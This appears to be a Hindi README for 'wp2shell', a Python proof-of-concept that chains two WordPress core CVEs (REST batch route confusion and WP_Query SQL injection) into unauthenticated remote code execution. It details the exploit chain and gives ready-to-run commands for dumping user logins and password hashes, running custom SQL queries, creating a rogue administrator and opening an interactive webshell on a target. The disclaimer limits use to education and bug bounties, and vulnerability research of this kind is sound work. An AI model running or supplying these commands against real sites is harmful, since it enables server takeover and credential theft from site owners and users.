
CVE-2026-63030 और CVE-2026-60137 RCE चेन प्रूफ-ऑफ-कॉन्सेप्ट
⚠ यह टूल केवल शैक्षिक या बग बाउंटी उद्देश्य के लिए बनाया गया है। नियंत्रित वातावरण के बाहर अनधिकृत उपयोग पूर्णतः निषिद्ध है।
WordPress Core को प्रभावित करने वाली wp2shell भेद्यता श्रृंखला के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो CVE-2026-63030 और CVE-2026-60137 को जोड़ती है। यह प्रोजेक्ट REST API Batch रूट कन्फ्यूज़न भेद्यता और WP_Query SQL इंजेक्शन के बीच परस्पर क्रिया को प्रदर्शित करता है, जिसका परिणाम पूर्ण WordPress समझौता और रिमोट कोड एक्ज़ीक्यूशन (RCE) तक एक अनप्रमाणित पथ होता है।
पूरी एडवाइज़री यहाँ पढ़ें
wp2shell WordPress core में एक प्री-ऑथेंटिकेशन RCE श्रृंखला है, जो CVE-2026-63030 (batch REST endpoint में रूट कन्फ्यूज़न) और CVE-2026-60137 (WP_Query में SQL इंजेक्शन) को जोड़ती है।
रूट कन्फ्यूज़न: /wp-json/batch/v1 कई सब-रिक्वेस्ट को समानांतर $matches और $validation एरे के माध्यम से स्थिति के अनुसार इंडेक्स करके प्रोसेस करता है। एक विकृत पथ (जैसे, http://:) वाली सब-रिक्वेस्ट continue स्टेटमेंट के कारण में जोड़ी जाती है लेकिन में नहीं, जिससे एरे डीसिंक्रोनाइज़ हो जाते हैं। बाद की रिक्वेस्ट रिक्वेस्ट के लिए निर्धारित हैंडलर के अंतर्गत भेजी जाती हैं, जिससे स्कीमा वैलिडेशन और अनुमति जाँच बायपास हो जाती है।
$validation$matchesSQL इंजेक्शन: दो नेस्टेड batch कॉल इसका फायदा उठाते हैं। बाहरी batch मेथड allow-list (जो सामान्यतः GET को ब्लॉक करती है) को बायपास करता है। आंतरिक batch GET /wp/v2/posts को एक स्केलर author_exclude स्ट्रिंग पहुँचाता है - डीसिंक इसे वैलिडेशन से आगे रूट कर देता है, और WP_Query अनसैनिटाइज़्ड स्ट्रिंग को सीधे SQL में इंटरपोलेट करता है, जिससे UNION-आधारित ब्लाइंड इंजेक्शन प्राप्त होता है।
कैश पॉइज़निंग: SQLi नकली WP_Post ऑब्जेक्ट लौटाता है, जिन्हें WordPress इन-मेमोरी कैश करता है। इन नकली पोस्ट में [embed] शॉर्टकोड होते हैं जो WordPress को नकली संदर्भों से वास्तविक oembed_cache डेटाबेस पंक्तियाँ बनाने का कारण बनते हैं।
चेंजसेट एस्केलेशन: SQLi का उपयोग करके, हमलावर इन-मेमोरी में एक customize_changeset पोस्ट बनाता है जिसके JSON में "user_id": 1 होता है। एक साइकल-डिटेक्शन गैजेट wp_update_post() को ट्रिगर करता है बिना post_content को ओवरराइट किए, जिससे हमलावर का पेलोड संरक्षित रहता है। चेंजसेट लागू करने से अस्थायी रूप से व्यवस्थापक की पहचान ग्रहण हो जाती है।
हुक री-एंट्री: स्टेटस parse और टाइप request वाली एक फैब्रिकेटेड पोस्ट parse_request हुक को फायर करती है, जो पूरी batch रिक्वेस्ट को ग्रहण की गई एडमिन भूमिका के साथ दोबारा चलाती है। इस बार, एक POST /wp/v2/users सब-रिक्वेस्ट सफल होती है, जिससे एक नया एडमिन अकाउंट बन जाता है।
कोड एक्ज़ीक्यूशन: हमलावर बनाए गए एडमिन के रूप में लॉगिन करता है और मनमाने कमांड चलाने के लिए एक दुर्भावनापूर्ण प्लगइन अपलोड करता है।
| संस्करण | स्थिति |
|---|---|
| WordPress 6.9.0 – 6.9.4 | भेद्य |
| WordPress 7.0.0 – 7.0.1 | भेद्य |
| WordPress 6.9.5 | ठीक किया गया |
| WordPress 7.0.2+ | ठीक किया गया |
इस PoC का उपयोग करने के लिए, एकमात्र आवश्यकता Python 3.8+ है।
भेद्यता जाँच करने के लिए इसे रिपॉज़िटरी डायरेक्टरी से चलाएँ:
wp2shell.py http://victim.com
एकल भेद्यता जाँच करता है। एक बिनाइन batch मार्कर प्रोब भेजता है जो SQLi पेलोड निष्पादित किए बिना रूट कन्फ्यूज़न बग का पता लगाता है। एक भेद्य लक्ष्य HTTP 207 के साथ त्रुटि पैटर्न parse_path_failed, block_cannot_read, और rest_batch_not_allowed लौटाता है।
सक्रिय SQLi पुष्टिकरण पेलोड भी भेजने के लिए --confirm-sqli का उपयोग करें। पुष्टिकरण पहले UNION रिफ्लेक्शन का प्रयास करता है, फिर टाइमिंग-आधारित प्रोब पर वापस आ जाता है।
एकल लक्ष्य जाँचें (डिफ़ॉल्ट मोड)
wp2shell.py http://target.com
स्पष्ट मोड के साथ जाँचें
Check with explicit mode
wp2shell.py http://target.com --check
SQLi पुष्टिकरण के साथ जाँचें
wp2shell.py http://target.com --check --confirm-sqli
प्री-ऑथेंटिकेशन SQL इंजेक्शन का उपयोग करके डेटाबेस से डेटा निकालता है। डिफ़ॉल्ट रूप से --technique auto का उपयोग करता है, जो उपलब्ध विधियों को इस क्रम में आज़माता है:
WP_Post पंक्ति बनाता है और REST प्रतिक्रिया से उसका शीर्षक ||HEX(value)|| के रूप में वापस पढ़ता है। प्रति मान एक रिक्वेस्ट। सबसे तेज़।EXTRACTVALUE/UPDATEXML का उपयोग करता है। तब काम करता है जब लक्ष्य MySQL त्रुटियाँ रिफ्लेक्ट करता है (जैसे, WP_DEBUG_DISPLAY चालू)।X-WP-Total हेडर पढ़ता है। तब भी काम करता है जब कोई डेटा रिफ्लेक्ट न हो।--technique union|error|blind के साथ एक विशिष्ट तकनीक बाध्य करें। ये रीड पथ केवल-पठन हैं और डेटाबेस में नहीं लिखते।
सर्वर फिंगरप्रिंट (डिफ़ॉल्ट क्वेरी)
wp2shell.py http://target.com --read
लॉगिन और पासवर्ड हैश डंप करें
wp2shell.py http://target.com --read --preset users
कस्टम SQL क्वेरी
wp2shell.py http://target.com --read --query "SELECT @@version"
ब्लाइंड तकनीक बाध्य करें
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"
एरर-आधारित तकनीक के साथ निकालें
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"
लक्ष्य सर्वर पर कमांड निष्पादित करता है। दो मोड में काम करता है:
क्रेडेंशियल के साथ (मौजूदा एडमिन के रूप में लॉगिन करता है और प्लगइन शेल अपलोड करता है):
विशिष्ट कमांड निष्पादित करें
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id
इंटरैक्टिव शेल
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Without credentials (pre-auth RCE - runs the full SQLi→admin bridge, logs in as generated admin, then uploads plugin shell):
एकल कमांड निष्पादित करें
wp2shell.py http://target.com --shell --cmd id
इंटरैक्टिव शेल
wp2shell.py http://target.com --shell --interactive
प्लगइन वेबशेल एक रैंडम पथ और प्रति-रन टोकन के साथ अपलोड किया जाता है। अपलोड किया गया वेबशेल स्वचालित रूप से हटा दिया जाता है। जब प्री-ऑथ ब्रिज एक व्यवस्थापक बनाता है, तो वह जनरेट किया गया अकाउंट शेल सत्र समाप्त होने के बाद स्वचालित रूप से हटा दिया जाता है।
सभी फ्लैग सूची:
| फ्लैग | विवरण |
|---|---|
--check | भेद्यता जाँच चलाएँ (यदि कोई अन्य मोड निर्दिष्ट न हो तो डिफ़ॉल्ट मोड) |
--read | SQL इंजेक्शन के माध्यम से डेटा निकालें |
--shell | सर्वर पर कमांड निष्पादित करें |
--query | रीड मोड के लिए कस्टम SQL क्वेरी |
--preset | पूर्वनिर्धारित क्वेरी प्रीसेट (users, config, versions) |
--technique | SQLi निष्कर्षण तकनीक: union, error, blind, या auto (डिफ़ॉल्ट) |
--confirm-sqli | जाँच के बाद SQLi पुष्टिकरण पेलोड भेजें |
--cmd | शेल मोड में निष्पादित करने के लिए कमांड (डिफ़ॉल्ट: id) |
--interactive, -i | इंटरैक्टिव शेल मोड |
--user | प्रमाणित शेल के लिए एडमिन उपयोगकर्ता नाम |
--password | प्रमाणित शेल के लिए एडमिन पासवर्ड |
--proxy | HTTP/HTTPS प्रॉक्सी (जैसे, http://127.0.0.1:8080) |
--timeout | रिक्वेस्ट टाइमआउट सेकंड में (डिफ़ॉल्ट: 30) |
--verbose, -v | विस्तृत आउटपुट |
यह टूल केवल शैक्षिक या बग बाउंटी उद्देश्य के लिए बनाया गया है। नियंत्रित वातावरण के बाहर अनधिकृत उपयोग पूर्णतः निषिद्ध है।